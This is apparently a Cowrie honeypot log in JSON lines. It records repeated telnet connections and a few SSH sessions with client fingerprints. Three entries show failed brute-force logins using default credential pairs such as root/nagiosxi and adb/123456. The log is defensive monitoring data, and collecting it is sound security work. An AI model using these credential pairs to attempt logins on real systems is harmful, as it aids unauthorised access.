{"eventid":"cowrie.session.closed","duration":30.43446373939514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:07.247201Z","src_ip":"103.221.220.6","session":"d59343c44d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32157254219055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:07.255577Z","src_ip":"103.221.220.6","session":"484f9ab8cd59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35263442993164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:07.261927Z","src_ip":"103.221.220.6","session":"b4d186a78917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675137519836426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:08.472083Z","src_ip":"103.221.220.6","session":"41316906e3c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459444999694824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:09.154182Z","src_ip":"139.84.139.120","session":"72fdf7844482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":43704,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff3e7e2d01d","protocol":"telnet","message":"New connection: 103.221.220.6:43704 (10.17.0.5:23) [session: 2ff3e7e2d01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:09.814075Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":43900,"dst_ip":"10.17.0.5","dst_port":23,"session":"70923fe022be","protocol":"telnet","message":"New connection: 103.221.220.6:43900 (10.17.0.5:23) [session: 70923fe022be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:09.938662Z"}
{"eventid":"cowrie.session.closed","duration":30.6062068939209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:10.337074Z","src_ip":"103.221.220.6","session":"9125b7dac514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91185975074768,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:10.704141Z","src_ip":"103.221.220.6","session":"0e28d9b8ec3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":45600,"dst_ip":"10.17.0.5","dst_port":23,"session":"8611ff94d0c8","protocol":"telnet","message":"New connection: 103.221.220.6:45600 (10.17.0.5:23) [session: 8611ff94d0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:10.861634Z"}
{"eventid":"cowrie.session.closed","duration":31.433720588684082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:11.063969Z","src_ip":"103.221.220.6","session":"128491fcc8a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.486101150512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:12.221630Z","src_ip":"103.221.220.6","session":"9777cb882e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":47146,"dst_ip":"10.17.0.5","dst_port":23,"session":"6148fb57335b","protocol":"telnet","message":"New connection: 103.221.220.6:47146 (10.17.0.5:23) [session: 6148fb57335b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:12.707593Z"}
{"eventid":"cowrie.session.closed","duration":30.341999292373657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:13.148607Z","src_ip":"103.221.220.6","session":"682e0948bafe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49264121055603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:13.169121Z","src_ip":"139.84.139.120","session":"2cae206102e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186882734298706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:13.858132Z","src_ip":"139.84.139.120","session":"5afbab8e8255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196403741836548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:15.246323Z","src_ip":"103.221.220.6","session":"53a5d049700c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91794991493225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:15.301684Z","src_ip":"103.221.220.6","session":"82d5c3a3521e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017935276031494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:16.412359Z","src_ip":"103.221.220.6","session":"6c0d7d010166","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.395421743392944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:17.206646Z","src_ip":"103.221.220.6","session":"4479d2e06d2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":51738,"dst_ip":"10.17.0.5","dst_port":23,"session":"8500880f1e11","protocol":"telnet","message":"New connection: 103.221.220.6:51738 (10.17.0.5:23) [session: 8500880f1e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:17.642008Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":52856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1173c311c5d","protocol":"telnet","message":"New connection: 103.221.220.6:52856 (10.17.0.5:23) [session: e1173c311c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:18.949755Z"}
{"eventid":"cowrie.session.closed","duration":31.11781907081604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:19.127469Z","src_ip":"103.221.220.6","session":"e7e34cc9890e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.563699960708618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:19.431757Z","src_ip":"103.221.220.6","session":"a42372cd73cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":53504,"dst_ip":"10.17.0.5","dst_port":23,"session":"61226f1241ea","protocol":"telnet","message":"New connection: 103.221.220.6:53504 (10.17.0.5:23) [session: 61226f1241ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:19.789266Z"}
{"eventid":"cowrie.session.closed","duration":30.70089364051819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:20.370413Z","src_ip":"103.221.220.6","session":"661134170f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":53352,"dst_ip":"10.17.0.5","dst_port":23,"session":"d52c4f15b099","protocol":"telnet","message":"New connection: 103.221.220.6:53352 (10.17.0.5:23) [session: d52c4f15b099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:20.648284Z"}
{"eventid":"cowrie.session.closed","duration":31.303633213043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:20.943804Z","src_ip":"103.221.220.6","session":"12cc33e35748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15338635444641,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:22.102031Z","src_ip":"103.221.220.6","session":"ee3dbb39ec20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":56530,"dst_ip":"10.17.0.5","dst_port":23,"session":"25d2cdee6c6f","protocol":"telnet","message":"New connection: 103.221.220.6:56530 (10.17.0.5:23) [session: 25d2cdee6c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:23.791039Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":57170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6c59fe363f","protocol":"telnet","message":"New connection: 103.221.220.6:57170 (10.17.0.5:23) [session: ea6c59fe363f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:25.627980Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":58110,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9641adf6c3","protocol":"telnet","message":"New connection: 103.221.220.6:58110 (10.17.0.5:23) [session: aa9641adf6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:25.644374Z"}
{"eventid":"cowrie.session.closed","duration":31.213287830352783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:26.136784Z","src_ip":"103.221.220.6","session":"f34cb08cbfd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.80594730377197,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:26.708025Z","src_ip":"103.221.220.6","session":"9e812bfe6fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.794912099838257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:27.919854Z","src_ip":"103.221.220.6","session":"9154321c73de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22757863998413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:28.154664Z","src_ip":"103.221.220.6","session":"e1444e25f6d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.372190952301025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:31.468673Z","src_ip":"103.221.220.6","session":"23b74ea706a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900092363357544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:31.654123Z","src_ip":"103.221.220.6","session":"51f3d2df866c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498204946517944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:32.256706Z","src_ip":"103.221.220.6","session":"e93df40cb374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694152116775513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:32.262470Z","src_ip":"103.221.220.6","session":"8e7697ff9b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.299635887145996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:33.146472Z","src_ip":"103.221.220.6","session":"a59f80f2bdbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591862678527832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:34.316646Z","src_ip":"103.221.220.6","session":"1685382c7d3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658687591552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:34.464971Z","src_ip":"103.221.220.6","session":"4f07247d4502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41770,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad9a4931dea","protocol":"ssh","message":"New connection: 159.203.92.129:41770 (159.203.135.109:22) [session: aad9a4931dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:35.184101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:35.197796Z","src_ip":"159.203.92.129","session":"aad9a4931dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:35.203372Z","src_ip":"159.203.92.129","session":"aad9a4931dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adb","password":"123456","message":"login attempt [adb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:35.217262Z","src_ip":"159.203.92.129","session":"aad9a4931dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:36.224257Z","src_ip":"159.203.92.129","session":"aad9a4931dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.579657077789307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:36.488374Z","src_ip":"103.221.220.6","session":"9d2933878824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73953366279602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:36.742164Z","src_ip":"103.221.220.6","session":"dc9a45140b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510281562805176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:40.324242Z","src_ip":"103.221.220.6","session":"2ff3e7e2d01d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69560217857361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:41.556943Z","src_ip":"103.221.220.6","session":"8611ff94d0c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.067840814590454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:42.006401Z","src_ip":"103.221.220.6","session":"70923fe022be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59577703475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:43.303247Z","src_ip":"103.221.220.6","session":"6148fb57335b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784606456756592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:48.426213Z","src_ip":"103.221.220.6","session":"8500880f1e11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45993399620056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:50.249071Z","src_ip":"103.221.220.6","session":"61226f1241ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509631872177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:51.157801Z","src_ip":"103.221.220.6","session":"d52c4f15b099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77901101112366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:53.728615Z","src_ip":"103.221.220.6","session":"e1173c311c5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532047510147095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:54.322954Z","src_ip":"103.221.220.6","session":"25d2cdee6c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55934429168701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:56.187231Z","src_ip":"103.221.220.6","session":"ea6c59fe363f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38363218307495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:57.027860Z","src_ip":"103.221.220.6","session":"aa9641adf6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":42948,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d6c9789afac","protocol":"ssh","message":"New connection: 117.247.23.131:42948 (159.203.135.109:22) [session: 8d6c9789afac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:00.156336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:00.170224Z","src_ip":"117.247.23.131","session":"8d6c9789afac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:00.989957Z","src_ip":"117.247.23.131","session":"8d6c9789afac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nagiosxi","message":"login attempt [root/nagiosxi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:04.160806Z","src_ip":"117.247.23.131","session":"8d6c9789afac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":33846,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d186cbe2803","protocol":"ssh","message":"New connection: 45.120.216.232:33846 (159.203.135.109:22) [session: 2d186cbe2803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:05.186986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:05.195397Z","src_ip":"45.120.216.232","session":"2d186cbe2803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:06.029131Z","src_ip":"117.247.23.131","session":"8d6c9789afac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:06.770916Z","src_ip":"45.120.216.232","session":"2d186cbe2803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"admin","message":"login attempt [david/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:07.778582Z","src_ip":"45.120.216.232","session":"2d186cbe2803","protocol":"ssh"}
